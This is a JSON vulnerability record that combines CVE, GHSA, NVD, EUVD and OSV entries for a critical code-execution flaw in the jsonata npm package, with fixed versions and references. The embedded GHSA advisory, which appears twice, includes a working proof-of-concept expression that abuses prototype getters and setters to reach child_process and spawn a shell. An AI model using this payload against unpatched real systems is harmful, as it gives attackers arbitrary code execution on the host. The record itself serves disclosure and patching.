{"id":"CVE-2026-77413","aliases":["EUVD-2026-64155","GHSA-8gq3-vp5j-2grp"],"status":"published","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00719,"percentile":0.54155,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-08-21T20:47:08Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"npm","package":"jsonata","fixed_in":["1.8.8","2.2.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"jsonata","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.8.7"},{"fixed":"1.8.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"jsonata","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.2.0"}]}]},{"source":"osv","ecosystem":"npm","package":"jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}]},{"source":"osv","ecosystem":"npm","package":"jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.0"}]}]}],"products":[{"vendor":"jsonata-js","product":"jsonata"}],"references":[{"url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/jsonata-js/jsonata/pull/794","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-8gq3-vp5j-2grp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77413.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77413","tags":["advisory"]},{"url":"https://github.com/jsonata-js/jsonata","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-77413","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","status":"published","published":"2026-08-21T20:47:08.457Z","modified":"2026-08-24T19:42:37.844Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:16.072351Z"}],"euvd":[{"id":"EUVD-2026-64155","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","status":"published","published":"2026-08-21T20:47:08Z","modified":"2026-08-24T19:42:37Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:34.230875Z"}],"ghsa":[{"id":"GHSA-8gq3-vp5j-2grp","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__('__proto__')(constructor);\n   __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```","status":"published","published":"2026-08-21T20:57:07Z","modified":"2026-08-21T20:57:09Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:04.755504Z"}],"nvd":[{"id":"CVE-2026-77413","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","status":"published","published":"2026-08-21T21:17:07.267Z","modified":"2026-10-12T16:10:00.22Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-77413","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","status":"published","published":"2026-08-21T20:47:08.457Z","modified":"2026-10-28T02:31:08.190367675Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"GHSA-8gq3-vp5j-2grp","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__('__proto__')(constructor);\n   __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```","status":"published","published":"2026-08-21T20:57:07Z","modified":"2026-08-21T21:10:59.271102Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:42.437513Z"}]}}
